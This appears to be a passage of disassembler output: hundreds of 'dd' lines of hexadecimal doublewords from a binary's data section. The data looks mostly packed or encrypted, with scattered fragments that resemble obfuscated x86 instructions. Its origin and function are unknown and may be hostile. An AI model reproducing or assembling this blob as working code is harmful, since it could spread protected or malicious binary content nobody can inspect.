		dd 0B888050Dh, 0B5058670h, 0D3050D3Dh, 14B8816Dh, 9949C8FAh
		dd 0C1C655B3h, 640B68AAh, 23944AE2h, 5F877AA8h,	58DB7D17h
		dd 50D6BE6h, 34CE9EA6h,	34363ECBh, 0B0A68E0Fh, 0A59833Fh
		dd 0DDD7CB03h, 0E1FD1D7Ah, 1DE4B5h, 95600000h, 0CA6C267Fh
		dd 0DCBD569h, 0FDAD9505h, 0EC3FD427h, 0A78F0F34h, 1BDCB1h
		dd 0E5640000h, 0A07A2C04h, 0DCBEF57h, 0C787AF05h, 845E074Dh
		dd 34FB7ABBh, 0BCBA8A0Fh, 0CB44A2BAh, 0F7BFB9EFh, 0CDFB56CFh
		dd 43B90920h, 30A2Ah, 0E1A78E00h, 3A6C4499h, 77213FD2h
		dd 0CF95F26Fh, 1B49AAA7h, 0BB2822F3h, 6FE20A5Eh, 213C4414h
		dd 9A779FC5h, 118ED6BCh, 0EB328477h, 0E2720303h, 1E44A208h
		dd 0F359B918h, 520341EBh, 1F45A1B8h, 0E7BD6D19h, 3498A714h
		dd 27BC10Fh, 0EC7BF7C9h, 5C6418C8h, 1D961DAh, 0BD91030Ah
		dd 3173D037h, 4D3AB5E2h, 1E000000h, 94DA1110h, 8444390Bh
		dd 0F043E5DEh, 50DCB4Eh, 0CB77CF28h, 0F37050Dh,	89834373h
		dd 0F7401A5Bh, 0F34C1BEh, 6FE0565Eh, 30AC1D3h, 2A2D879Bh
		dd 0B5E1756Dh, 0DA5CDF71h, 0BC030B35h, 0B35FB43h, 0F78BBB03h
		dd 0FA001FCFh, 0C4000000h, 441E44A2h, 0ADA8EE5h, 450AD2Ch
		dd 0F9AF8712h, 0DE84E27Fh, 0C49645B6h, 2B0B050Dh, 0C50D53B0h
		dd 348A750Fh, 6050DCFh,	8B2D8E88h, 2818D430h, 0E5FD1078h
		dd 0F043E5BFh, 50DBE4Eh, 0CE2B260Eh, 38E89C9Ah,	0B77E943Eh
		dd 0DBEF244h, 8F82B205h, 0E7BDE5B3h, 0BE4CF24Dh, 106D050Dh
		dd 0DE92D244h, 0CA6C36D6h, 99491F77h, 349DAD9Ah, 0CD151D0Fh
		dd 0B69CFA57h, 0ABF1D140h, 11B1F9ADh, 0D2882D3Bh, 35433061h
		dd 5AF0C009h, 56BEEAC7h, 130A5EBBh, 911EE40h, 0BC2F4EC4h
		dd 0D8000001h, 964B93F5h, 4984ECB2h, 3CD1396Fh,	0F4697127h
		dd 94A5CD9Bh, 0B8ECC9DAh, 0F2A6BD50h, 4D1B77EAh, 84CA2825h
		dd 3601A37Ch, 303EA80h,	0A2DA50C0h, 0A7791341h,	0DCBE254h
		dd 3700A205h, 50DCB8Fh,	0EFBFE7CFh, 800C6AE7h, 16A2B1FBh
		dd 0FED4496Eh, 0BEE6AEA8h, 51DFC56h, 0FDADD95Fh, 267F9507h
		dd 0C1DA936Ch, 0A3A0F34h, 0C12F930Ch, 6367030Ah, 75C18689h
		dd 9948B5E1h, 8C000000h, 181E44A2h, 0E085CB9h, 0DC44E8Dh
		dd 0ADF3D305h, 6A381AF7h, 0A7BF52BAh, 0A7AD07F1h, 0EADB24FEh
		dd 5A0F34ECh, 0EAF8026Ah, 0A77913C9h, 0AEEE254h, 0F292A203h
		dd 353DC771h, 89437309h, 0F90157B0h, 0AB880B64h, 0B3373E5h
		dd 12394B12h, 3A53C909h, 0EBh, 0BAC286E9h, 0F31B4DA7h
		dd 683E1Eh, 58A0F4CDh, 94FCA885h, 0B99A0945h, 6B4E83EBh
		dd 2600DD25h, 9DF56870h, 54F0AFB7h, 3E953EBh, 29831303h
		dd 0E5C641A2h, 0C50DB9BFh, 0C942A0BDh, 45136DECh, 378DD51Dh
		dd 0EECB44A2h, 1E46126Fh, 95F16C18h, 6CCD87CFh,	90D44214h
		dd 8BEB76F0h, 8A750FC5h, 50DCB34h, 749C4C74h, 21FBB8AEh
		dd 3FF2FED6h, 8472420Fh, 0F573D15h, 0A8AEF4D2h,	0E855A37h
		dd 7BBF9BF5h, 0F8EB46F8h, 0F63E0672h, 0E0B49100h, 0B3391176h
		dd 515B3F0Eh, 0EBF359B9h, 904A1076h, 0E085CB9h,	0EBD36BD4h
		dd 0A39372F8h, 0DB81E67Bh, 0FF79295Dh, 855F0562h, 0EBAE10E3h
		dd 0EE72F8h, 0A6DFEA2Ah, 0B5559D0Ah, 0D973D5B3h, 0F89BD85Eh
		dd 0F8A89872h, 6046189Ch, 0AC89603Ah, 2D2028F8h, 0F4898FD5h
		dd 3, 0A2FF790Ch, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h
		dd 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh,	32D95F01h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 0E868242Ch, 8900004Ch
		dd 1168240Ch, 89000032h, 0B8502414h, 60E17B5h, 48BC189h
		dd 4C48324h, 78E968h, 24248900h, 4240483h, 0CB89535Ah
		dd 8B085A89h, 0C481241Ch, 4, 5A2434FFh,	8B04C483h, 8951240Ch
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 59B0E95Ch, 0D3BDFFF9h
		dd 7BA58BA6h, 0B8A77098h, 60E235Bh, 0E0FFC503h,	496C04F4h
		dd 170072E7h, 0DD9018Fh, 7CFF5CDAh, 4FA78403h, 35532745h
		dd 597D658Dh, 287D6BABh, 1090EDB7h, 6303DF21h, 6D01877Bh
		dd 23010EC4h, 0B809E9Bh, 29F2C0EAh, 4EA416A1h, 49DFFE82h
		dd 2BB73847h, 48EA953Bh, 12D1E0EAh, 18AD76C1h, 3F89EA36h
		dd 7376372Ch, 38EEED3h,	373CD507h, 9A0004EBh, 2E969D6h
		dd 0E4000005h, 0A2BFC781h, 15C81046h, 0C8056D3Bh, 805DA5EBh
		dd 48E9F1A7h, 0ECB8950Eh, 266A4984h, 712703DEh,	0C89EF469h
		dd 0EA55EFA0h, 303EF54h, 3B168C14h, 2FD575DBh, 4EF043E5h
		dd 6F050DCBh, 86AE4216h, 351B7BC6h, 2F7556C3h, 662C0AC7h
		dd 24704DACh, 54D27232h, 0B1A7EDC5h, 0F8AE8A67h, 0A9FFD528h
		dd 273A1EAFh, 8ECA9ACEh, 287E5426h, 63E44AC0h, 9EB2CA29h
		dd 6640DD8Dh, 0D9352830h, 350C8D8Bh, 3D97F563h,	5864C1CFh
		dd 11B1B782h, 136FFFF5h, 0C2203D45h, 0A6789A9Ch, 0D3FE155h
		dd 0E357A105h, 8CBCA635h, 0BCBF6F97h, 50D98FFh,	1F02EA08h
		dd 0AFDABE38h, 77FFh, 44A20500h, 63FE181Eh, 0ABDB5D03h
		dd 124D7BA5h, 963641F9h, 0D0B2395h, 2A82D005h, 0DB2B6027h
		dd 127AFh, 0E52D0000h, 0A77D2B04h, 0DCBE254h, 0F292A205h
		dd 0D543156Fh, 603A6C44h, 72E4A889h, 0CBEF57A0h, 87AF050Dh
		dd 28A98F5Fh, 69385CBh,	0BADBC20h, 7A9EE950h, 2446C432h
		dd 0BFA78903h, 297F55C8h, 7379412Fh, 0ADD5BB9Bh, 0D8B23A9Ch
		dd 934E96F8h, 2F85EDB3h, 364717E5h, 3E0E21CAh, 37B6936Eh
		dd 0DA8A8CDCh, 0DF35A492h, 4E148F89h, 187ED366h, 0B28F9232h
		dd 7946D033h, 7C6103Ah,	0C52D559Dh, 0F2642A08h,	0CFF0DA20h
		dd 82CA9A5h, 0D22972Fh,	0A7EFD705h, 0B93A1AE7h,	15CFF75Dh
		dd 8F89DF34h, 0B02107C7h, 89080E50h, 1573E5ABh,	6602A70Dh
		dd 0D0878A62h, 77AFDB52h, 77h, 1341A2FDh, 0E58B425h, 0C59FA508h
		dd 0DCBC47Ah, 0D698405h, 6D95D147h, 54C294F0h, 0A0147010h
		dd 0EDA7EDCEh, 0A363350Ch, 0F55B6ABh, 0E5AB8809h, 0D4358F73h
		dd 351B7BF8h, 8B5B83C3h, 0B5E2654Fh, 1CAFDA69h,	52h, 1341A2D8h
		dd 0DE80E079h, 4DA9280Eh, 48AB4D07h, 50DCBF6h, 58DE8EB6h
		dd 35C52F03h, 3CD68CD8h, 0DCB7BC3h, 5B0B3B05h, 0A7809933h
		dd 0A2AB51F1h, 0E77A1046h, 782C098Ch, 888EB6FEh, 0B12A0CDCh
		dd 50DCB08h, 0E119BFFh,	0AFDA6B49h, 1D0h, 42A21400h, 2D7A58D2h
		dd 0BD998CF3h, 0F167AFD7h, 865C0260h, 470749ABh, 35BF83E1h
		dd 0F51D4BA5h, 0A67C392Fh, 34DBF455h, 0EA6C540Fh, 3941176Fh
		dd 1F5ECE24h, 320A82BAh, 86CE90F0h, 0DD67D85Eh,	0F8030A7Ch
		dd 0E948729Ah, 0B7AB8CDDh, 2808898Fh, 8E92F066h, 1C768126h
		dd 0CEF8198h, 30A3AAAh,	370ADAEAh, 0EC6189DFh, 0CB56C096h
		dd 20B3A5EBh, 42A03AB2h, 296EF41Ch, 0F0B5E25Ch,	110h, 80C4E654h
		dd 36991D69h, 7F95EC96h, 0DA936C26h, 3A0F34F4h,	0BDBE500Ah
		dd 30ADEF9h, 5FD989B9h,	56BEE4C2h, 0C7205BBBh, 5EB36991h
		dd 0F177177Dh, 0DA5C0260h, 0FB931979h, 0C7ADB59Bh, 0B5E18080h
		dd 3807h, 7C95CD00h, 0DC926D27h, 3C050DCBh, 358902F4h
		dd 43050DCBh, 976ABD37h, 26B2FBFh, 59FF06CEh, 0BF6F2711h
		dd 94F27C95h, 73CC86CEh, 50DB73Bh, 0B283EBDBh, 94h, 267F95CEh
		dd 963E936Ch, 969E0F34h, 0BE9B76A0h, 68386CEAh,	3DD7BD95h
		dd 0A096C0DCh, 312C24E4h, 6BD18BD1h, 0F04341AEh, 0A98F5F1Ah
		dd 0A118736h, 167C5A03h, 54B120h, 0CB73CC16h, 8B030A12h
		dd 6E465CBBh, 846A2E49h, 36614688h, 1D79292Dh, 0B9EFC797h
		dd 0DE5D8B51h, 0FD9828E1h, 540E3696h, 15FD41B2h, 75BD030Ah
		dd 432C0FD5h, 0F3093839h, 0D33009C3h, 0BDB8B8Dh, 56AC2Dh
		dd 8C607816h, 3CD68FC5h, 0FDAB879Ah, 989B4B7Bh,	0F361DEFh
		dd 0B50F575Fh, 91F37F95h, 942A15CFh, 0D4050DCBh, 54EEA4ECh
		dd 0CBFD41B2h, 75BD050Dh, 0E72956D5h, 7C990F3Fh, 0C0A3264h
		dd 35EFB58Dh, 0A8AEF8D4h, 29242CFCh, 1A9583C9h,	0F36B324Dh
		dd 0A096C0DCh, 9781D731h, 595E560Ch, 9BF950E8h,	430343B5h
		dd 949AAD07h, 57E01E2Dh, 0C5580836h, 825FA7EDh,	0DE78FEA4h
		dd 0C4326643h, 0B3459E80h, 11BE223Ch, 0C197EC71h, 0CB213957h
		dd 7F58D333h, 52B22F29h, 2A521204h, 6F479AE2h, 7FF5BAFFh
		dd 8CB4A08Fh, 3F38Ah, 79090000h, 1D4BA2FFh, 0F258BE1Bh
		dd 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh, 8DD330A1h
		dd 782E0E8Bh, 5F0163FEh, 895232D9h, 4C281E2h, 56000000h
		dd 4BEh, 5EF22900h, 5C241487h, 61AD68h,	24348900h, 45B868h
		dd 24148900h, 28271ABEh, 0BA524650h, 5626035Dh,	835AD631h
		dd 248904ECh, 24048324h, 89575A04h, 0F98951F7h,	59084A89h
		dd 24148B5Fh, 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch
		dd 89512434h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 543CE95Ch
		dd 9ECDFFF9h, 0C9902E78h, 7FB769EFh, 28C1B8A0h,	0C503060Eh
		dd 46E1E0FFh, 271B396Dh, 892373E1h, 4EB03DEh, 46E7CD65h
		dd 564E9h, 0A5E3CA00h, 0FEA0805Dh, 4B1D7B96h, 83C92E23h
		dd 0DF85E67Bh, 0F7EC66B7h, 0ABA6CE9Ah, 1DF01848h, 0D60B5301h
		dd 0CD42AAF0h, 0E276C82Bh, 0AE360303h, 5DE152F4h, 1D0303E2h
		dd 0E202B487h, 72420303h, 0E5E09A4Ah, 4F2BD517h, 523C2276h
		dd 7F72C7ABh, 193D4A17h, 0D62C31D1h, 0F4EE7C55h, 5168952h
		dd 4F07F139h, 96EC4D07h, 0BB2600C0h, 6FE20A5Eh,	0DD74117h
		dd 0C383D52Ch, 57A0187Eh, 50D47EFh, 942A15AFh, 0D4050D47h
		dd 0FA7CA4ECh, 0E553051Fh, 0A3767E58h, 884A155Dh, 844467EBh
		dd 0C02659B9h, 0A0E89C9Ah, 0FBA98558h, 361C7E93h, 0D83B16C0h
		dd 6E45D888h, 4AAE3C3Ah, 0F8AE8862h, 3F657D90h,	6F54639h
		dd 0F002050Dh, 382E15FCh, 59F5AFDBh, 73000000h,	441E44A2h
		dd 0CBED51A2h, 85AD050Dh, 54E863C5h, 71050DCBh,	0E8BE9417h
		dd 0CA2BB6A0h, 0EEF29086h, 187AA106h, 6BC68D94h, 14DAFDAh
		dd 8B000000h, 261046A2h, 1F759BBh, 6BEDB390h, 55ECC0C2h
		dd 62138FE7h, 3C364A0h,	6C74DA3Eh, 0A3CB91F1h, 623410E9h
		dd 6A10B0F4h, 7A2C04E5h, 0E87A57AAh, 849DFA27h,	6F4E6ED0h
		dd 0F26FE911h, 683C1596h, 13ECA6EEh, 50D80ABh, 0A593DBEBh
		dd 0B24CA032h, 39F1D651h, 0D80783Eh, 0C0083805h, 20031E56h
		dd 2D204870h, 4F898FD5h, 52CF95F2h, 72322472h, 27714FD2h
		dd 31109F6Dh, 26FC0D89h, 0DA788066h, 39657054h,	3DED9162h
		dd 174CD3D9h, 0BEAFDB19h, 87h, 1341A2BAh, 0E58B425h, 0FD41B254h
		dd 0CF050DCBh, 0A14A2FB7h, 0F2C2BED3h, 0D369D452h, 8130FC6Dh
		dd 0F090F3AFh, 6D4E2094h, 0B58C6D27h, 362B23E3h, 647949D5h
		dd 684CE71Ch, 4AAB3620h, 1F78F3D3h, 5F170149h, 0C5D92117h
		dd 99D258EFh, 3AAF503Fh, 2D7A10B0h, 94AFDB20h, 60h, 1341A250h
		dd 1E0DF325h, 8465F75Ah, 0CB273AEAh, 1F79C79Dh,	0DB1826Dh
		dd 4D050D40h, 2338FB65h, 0EA816727h, 61421C90h,	0A2512B33h
		dd 0A5261046h, 50DCB14h, 0A49729E3h, 50DCB12h, 0A6A26252h
		dd 366FB4Eh, 80C78D5Dh,	42AFDA6Bh, 2D7351A8h, 46F87B2Bh
		dd 6FAF23Fh, 1916E3Eh, 57000000h, 7E1442A2h, 0CBE35BA4h
		dd 93A3050Dh, 8EE475F3h, 28305ED8h, 9CCA2AC4h, 5B0D6BC6h
		dd 91F9A9DDh, 2096613Bh, 60050DCBh, 4C9AB050h, 8AB2E0C2h
		dd 0F0CA67D0h, 5A6A0F34h, 0AD657DDCh, 0AD3EC52h, 8984AC03h
		dd 57BFE7ADh, 0F65CBAh,	0AD3358Fh, 942EEA03h, 0AD313ABh
		dd 0A3635303h, 0A5BD4DA7h, 0DC3D97FFh, 108A52C2h, 3A370503h
		dd 804004F2h, 0C82AA5BDh, 0A0E89C9Ah, 85CB2BB6h, 5A520093h
		dd 8D6EA280h, 30A7829h,	0C9115969h, 0E21E2463h,	13DEBB5h
		dd 0F0490000h, 1B4BCD93h, 7F95914Bh, 0DA936C26h, 3A0F34F4h
		dd 3FEA500Ah, 592FD22Dh, 95DD83E1h, 80E673F5h, 475FB2DAh
		dd 0BBBDEBC4h, 8355C30Bh, 430349AEh, 18B298FEh,	0F97F2501h
		dd 0B81B1DCDh, 0FAAE8564h, 7C98487Ch, 0DA80E678h, 84C82900h
		dd 792F0792h, 93799131h, 0B5E1A3B4h, 317Bh, 7C95F900h
		dd 0DC926D27h, 3C050DCBh, 358902F4h, 43050DCBh,	0CF1ABD37h
		dd 4D01F2A8h, 0AD050DCBh, 0B81C7D85h, 84000000h, 1B1D4BA5h
		dd 0CA90F66Bh, 7F95601Ah, 0CBF34BB4h, 83B3050Dh, 15B6815Bh
		dd 0B50F3496h, 0F99A1C1Fh, 0EADA030Ah, 0E556E8A2h, 30AF951h
		dd 0CA805763h, 23DF1584h, 64F57313h, 0DD30580Eh, 26999FC5h
		dd 30A9997h, 2F05E4B0h,	17B7FF79h, 161F9F3h, 4BA8815Bh
		dd 0B3531305h, 253B15Bh, 0B1B0EF48h, 644C0938h,	2F7153AEh
		dd 3A18F97Fh, 1F77E254h, 2A15CF49h, 504B394h, 1471ECD4h
		dd 154DD640h, 0ECF41A9Fh, 94034108h, 0A968E7A5h, 0C882CAA3h
		dd 0A9FFDB36h, 4EB14AAh, 21AA5405h, 0F993F86Dh,	2EF494DCh
		dd 0BD01F294h, 0FD05049Eh, 471615B5h, 0BB0F36B5h, 9589638Bh
		dd 936C267Fh, 0F3FE0CCh, 88D83B16h, 8ECE008Eh, 8C6FB7B3h
		dd 0E8D88444h, 1893F36Eh, 772D553Bh, 0FB44BC9Ah, 3034543h
		dd 0D0B3303h, 8C418959h, 0C42AE0B6h, 0B29CC1E9h, 7E1A166h
		dd 1CCA1684h, 35BF1BC2h, 57EF48E2h, 1743EACAh, 84E27F2Fh
		dd 7B5BB6DEh, 51B62315h, 0AEA8FEDEh, 2AB8BEE6h,	0B14BDED6h
		dd 0CA9A1C1Fh, 0EADA43EAh, 0EACAD569h, 0FDAD9543h, 0A8890260h
		dd 0B954BCE4h, 20966159h, 6043EACAh, 4F2E2850h,	3, 0A2FF79F5h
		dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh
		dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 3D4268h
		dd 240C8900h, 5E08950h,	4, 42Dh, 24048700h, 242C895Ch
		dd 73AD68h, 241C8900h, 8904EC83h, 0ECB9240Ch, 0F77E6008h
		dd 0ABE981D1h, 897B91CDh, 8B5459CDh, 0C483241Ch, 4EC8104h
		dd 89000000h, 0E8892404h, 58084389h, 52241C8Bh,	0C281E289h
		dd 4, 4C281h, 14870000h, 2C8B5C24h, 0E3895324h,	4C381h
		dd 0C3810000h, 4
		dd 5C241C87h, 0F94EB5E9h, 60F7AFFh, 87EB6E8Dh, 2E43B853h
		dd 0C503060Eh, 750BE0FFh, 0CDB7260Dh, 7F81225Fh, 0CDD10E44h
		dd 767A421Ch, 2D4A187Fh, 3FE86BC0h, 96670A5Ah, 0BCB255CFh
		dd 656A69C4h, 0B4837C3Fh, 0E80A3766h, 0F8EF1809h, 46E05243h
		dd 0D8013DFCh, 69A0767h, 0A96E52BFh, 39FA68FEh,	0C7202B2Fh
		dd 0F1686849h, 3B4A71F3h, 0A97E0354h, 1FEC18DFh, 700D5997h
		dd 7B3B4DB3h, 0D2D82F96h, 89480B5Fh, 3726035Ch,	8D8D744Dh
		dd 60E2FEFh, 9E8h, 385BF100h, 8E0AA0EAh, 0B58B0EF5h, 6070FB1h
		dd 418D895Ah, 6A06071Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 185DC357h, 6CD27D80h
		dd 0C771F497h, 7060585h, 744806h, 0E5BF6600h, 33EF81FDh
		dd 0C71D4822h, 7006985h, 6, 0D78B6600h,	22C9B5FFh, 0FE90607h
		dd 0B8000000h, 0EB0D9CD5h, 0C94CA05Ch, 79C388C3h, 95FF57EAh
		dd 60701E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0EBC35343h, 0FF006A08h,	7320195h, 0EBC08B06h, 0A54AE94Dh
		dd 3D291DC4h, 0EAFB4168h, 6EE57C01h, 0A1DB29D3h, 0AD9D4901h
		dd 710BA900h, 0C26950E6h, 324E9626h, 2A29D05Dh,	72FCF771h
		dd 0BBEB421Ah, 528FEF3Fh, 2AED27A8h, 1CCAD85Dh,	0BB2973C9h
		dd 42C61495h, 49BEEDFh,	9E067F6h, 4EB73D5h, 701872A3h
		dd 4DDE9h, 0C187EE00h, 1A4CA4B9h, 57011FF2h, 0AFF5D20Fh
		dd 0FBA98A47h, 9B084293h, 4F82EABEh, 1DC2474h, 0FA177F25h
		dd 0F1AEB69Ch, 0FB52E457h, 82120303h, 1E44A228h, 8254F644h
		dd 3F1234D9h, 2F08896Fh, 0E6FC1179h, 0D1470D65h, 6EEB6D95h
		dd 45D44208h, 0A23F396Fh, 0BA271147h, 0C701F75Dh, 0B57439B3h
		dd 2303DBD1h, 9EF8157Dh, 4EAA0C8h, 66235D4Eh, 300DDDE0h
		dd 0B9680D6h, 6B63BE28h, 42580D16h, 6A4E1C1Ah, 2A15AF82h
		dd 50DB594h, 213CECD4h,	9A779FC5h, 0EF60D6BCh, 50DB552h
		dd 0F0575DA5h, 0AFDAE993h, 811Ah, 44A2DE00h, 1DA7181Eh
		dd 38050DCBh, 168375DBh, 0B9ED6B31h, 0A88B4FA4h, 50DCB16h
		dd 30266E56h, 2E205BB2h, 0DD3A1A25h, 81CAEFC5h,	0AF947B71h
		dd 76AFDAC4h, 1, 2B04E5F2h, 0DE0648A8h,	0B498F958h, 0ADA0242h
		dd 8D8BDD37h, 0F462340Ch, 82580C65h, 0B631BFBCh, 8E5EAB11h
		dd 53CA29A8h, 7E362070h, 7051C036h, 98F82A2Ch, 7CC23D14h
		dd 3C050DA4h, 197DCCF4h, 0B799FB93h, 0E54B2AFh,	41A20CE6h
		dd 5CB42513h, 718B0C0Ah, 316742DFh, 2A8C8FC7h, 6A050DCBh
		dd 664E8A5Ah, 85EDBB94h, 32246A48h, 191F49A7h, 0C5DF5CB8h
		dd 0B9E1A593h, 9EC422BFh, 75DB3998h, 189D176Bh,	9D84686Ch
		dd 0AFDA69C6h, 876Dh, 41A2EB00h, 0EFF37913h, 9959B26Eh
		dd 0E63036D6h, 0F44BF34Ch, 3B0B050Dh, 0E0B6966Bh, 0E9C3C776h
		dd 5CB53411h, 0CB460E08h, 0F5B1A7E9h, 4FA8A5CDh, 23C51F19h
		dd 0DF46ED0h, 0F7D32E05h, 54A979A1h, 0DB2F297Fh, 3D6AEDC7h
		dd 0E4AFDAA8h, 62h, 1341A260h, 0DE59F325h, 50DCB58h, 0E5782818h
		dd 65DDB89h, 0F9D3AC92h, 8B80E8AAh, 0A535BFDBh,	0EB461C48h
		dd 6ED21C8Eh, 0A00FC347h, 0EAA0A878h, 0F66B3D17h, 651FCF95h
		dd 261046A2h, 0DCB14A5h, 0D029E305h, 0FAAAACF2h, 73C62E2Ah
		dd 69D7BD9Eh, 0A690C5FDh, 67EDBD4Eh, 0AFDB1820h, 1E7h
		dd 42A26D00h, 5FB72214h, 6E96C0DCh, 66389AE8h, 0DCB2195h
		dd 0B1516105h, 0B18F5F55h, 1F759FE7h, 1EB38C46h, 0BE0F34F0h
		dd 3ECA67B0h, 263BBD08h, 0E1579FC5h, 0A8FEDA37h, 470D65F8h
		dd 9EC4223Fh, 519D2798h, 6842030Ah, 0C68CEA84h,	35896A0Ch
		dd 7030A51h, 0BFEDD0Bh,	8CB4487Bh, 7959B4DCh, 1EF32513h
		dd 0AAB7573Dh, 8710064Ch, 2101D9D3h, 0CA89137Bh, 14B5E223h
		dd 180CE526h, 0AB9A71Fh, 51DFE703h, 0A5652ADAh,	0EA5Ah
		dd 7F959E00h, 0DA936C26h, 3A0F34F4h, 77CA0C0Ah,	809D4D1Bh
		dd 3E94FCA2h, 0FCA88564h, 75C94A7Ah, 35030ADEh,	0E2C05D0Dh
		dd 0C7DFBABCh, 0A63CA791h, 0F0A6BC4Eh, 804502E8h, 4CCCB5E1h
		dd 8000000h, 6D277C95h,	0DCBDC92h, 2F43C05h, 0DCB3589h
		dd 0BD374305h, 0F2A8CF1Ah, 0C9C6D258h, 0DCF44A5Fh, 0E66890C6h
		dd 7300E369h, 3F3CECC5h, 50D8F77h, 4A187A97h, 709BFA02h
		dd 1000000h, 258E6C3Bh,	5FBBAA05h, 734CC109h, 0E5FF6525h
		dd 0E77A2C04h, 2C58DE8Ah, 36B0D67Ch, 8D478FD5h,	349619B2h
		dd 47919F0Fh, 3A82DE72h, 4171EDBDh, 266C4AD7h, 7D2303DEh
		dd 96B900FBh, 849E030Ah, 12785E30h, 712220CAh, 0C52558DBh
		dd 0D1E10938h, 0B69CFA67h, 0D6DE2240h, 0CA80D533h, 36F51669h
		dd 9AE2D20Fh, 298D6E00h, 69030A95h, 95D38959h, 936C267Fh
		dd 0F3F9BE8h, 0CA32240Ah, 3E6F31D7h, 54C2F26Eh,	5FA7EDC5h
		dd 78FEA482h, 29EF2E87h, 0EDC7C3F9h, 0BCECC75Ah, 6B3111ECh
		dd 9A1C1FB1h, 0DA7515E0h, 0E047FF78h, 3F077515h, 653F57F7h
		dd 78FEA884h, 0E0D95DDEh, 0A9997515h, 465CA161h, 5ABB2610h
		dd 0B59100F6h, 448CDA3Ah, 3B6D47D2h, 614BAF3Dh,	0E0C96DCEh
		dd 0B9897515h, 0A10B6F71h, 5BA3E9C9h, 0D22FA086h, 3ED85E86h
		dd 0CD9DC323h, 38Ch, 0FF793400h, 1B1D4BA2h, 4F258BEh, 6DEBB995h
		dd 55C395ECh, 0BBBDEBC4h, 0A197FDDEh, 8B8DD330h, 0FE782E0Eh
		dd 0D95F0163h, 58545032h, 405h,	4E88300h, 5C240487h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 89562404h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 243C895Ch, 0B868CDB8h, 3007257Eh
		dd 0E8C17E78h, 62E23504h, 0F750372Bh, 2D582414h, 0C928EED1h
		dd 243C8B54h, 5004C483h, 8B240481h, 8F6C6473h, 0BB530847h
		dd 2C3F1F81h, 540AC381h, 5F294025h, 3C8B5B08h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch, 4C48358h
		dd 0F94851E9h, 90B83CFFh, 3060E34h, 0C4E0FFC5h,	127E1881h
		dd 0B75C9C17h, 0FE495098h, 857D3D00h, 0A34758F6h, 1822620Bh
		dd 0D60E885Ah, 0A070BE57h, 0EB5DE35Bh, 9965E604h, 4F2E914h
		dd 0ECC30000h, 5BB954BCh, 1470EDF5h, 0CE273A42h, 829F729Ah
		dd 0F36F8ED6h, 0B9C197F0h, 0F31B4DA4h, 0E563C1Eh, 45ADF3D3h
		dd 69CD2ECAh, 290303FEh, 44A2C3B9h, 5CB9181Eh, 6440C3DDh
		dd 5880C432h, 66E96DEh,	0EFA5EBCBh, 3FC3412h, 50DCBBBh
		dd 9583CBFBh, 327A2C04h, 9FCAFACCh, 28F8247Bh, 2D7353CEh
		dd 3210E92Bh, 36DB63AAh, 478FB4C4h, 85EBA87h, 2D71EC52h
		dd 5ED9F504h, 8105A88Eh, 0D835142Bh, 6141DC8Ch,	0DC3ED33Bh
		dd 0D51D43A3h, 2076508Dh, 1B1EEC36h, 0BD9A9E98h, 0D93805C5h
		dd 33108177h, 0D6EEB6Dh, 0C317D147h, 0A6BAC4E9h, 0F4A2BC4Eh
		dd 4B1171ECh, 68E952CDh, 0C41E050Dh, 0E2A69F0h,	8CF1AFDBh
		dd 77000000h, 181E44A2h, 0DCB1DA7h, 89DF3805h, 54EA558Fh
		dd 14050DCBh, 8BD1312Ch, 0B53F5B8Dh, 45AFCBF0h,	0DA6B85C2h
		dd 0E6E349AFh, 6F039B17h, 7FED51A2h, 85ADFAF2h,	0BFE1C05Dh
		dd 0C25D0DB9h, 1, 0D646A206h, 0C8C2D04Fh, 56A17B85h, 50D49E0h
		dd 0EE6890A0h, 0D8891173h, 1F93BDDDh, 79284CCh,	0D352AF2Eh
		dd 337BA3F5h, 961E78C5h, 52BAECC4h, 5E0261F8h, 61FCACD8h
		dd 0A8815B01h, 0D45054Bh, 0BC02FD97h, 0FC050D15h, 0A26E14B4h
		dd 0B4251341h
		dd 8B0C0A5Ch, 3815E5CFh, 0E9C9046Ch, 0C824B5A3h, 0E65C49Eh
		dd 0F8A8DC5Ah, 0DD83E37Eh, 0B79DFE5Bh, 129AFC41h, 0EFC5D9ADh
		dd 0DA693B68h, 0BF59A7AFh, 14AEB60Eh, 671EE1A1h, 0DA000000h
		dd 782E04E5h, 9D98FE5h,	8B8DDB34h, 54AD2E0Eh, 0CB1DA192h
		dd 555D050Dh, 0CA73E52Dh, 0DB63DC76h, 9B050DCBh, 159FFBABh
		dd 0D43C6845h, 445DDC39h, 266E2610h, 0C940A130h, 0F1B5A3E9h
		dd 0A7BB4FC9h, 0E67FA4Dh, 93C08A5Ah, 3AAFDA69h,	47h, 1341A23Eh
		dd 0C5AB425h, 971D750Ah, 74DA980h, 0CB99FA47h, 46A2C9A3h
		dd 14A52610h, 35050DCBh, 0E8B8DDBh, 0B0F46228h,	191F455Dh
		dd 9C218BEFh, 0A54FBD57h, 96BB7C58h, 0CE0E4A4h,	0DABE3E05h
		dd 1C5AFh, 0A2030000h, 0B1E7C142h, 51C70F47h, 0BABCE2C0h
		dd 0EE0D42Ch, 0CA10782Eh, 6230129Ch, 0D288B0F4h, 34F0C861h
		dd 90F34E0Fh, 545C00C0h, 0DB1F77E2h, 0AD3E658h,	569EA603h
		dd 13415DBCh, 83FF6125h, 0EF6C76CFh, 752F27E7h,	3F2BBB94h
		dd 0ABAAD2E4h, 0CBFB7DA5h, 7B2B7156h, 5CDA80E6h, 0A4C59E3h
		dd 48AC8603h, 0E20A50B6h, 8B41176Fh, 5C0C52B6h,	31677FDAh
		dd 0AE065CC7h, 4890C6DCh, 873F38D2h, 0C7030A4Ch, 0DEA52FFFh
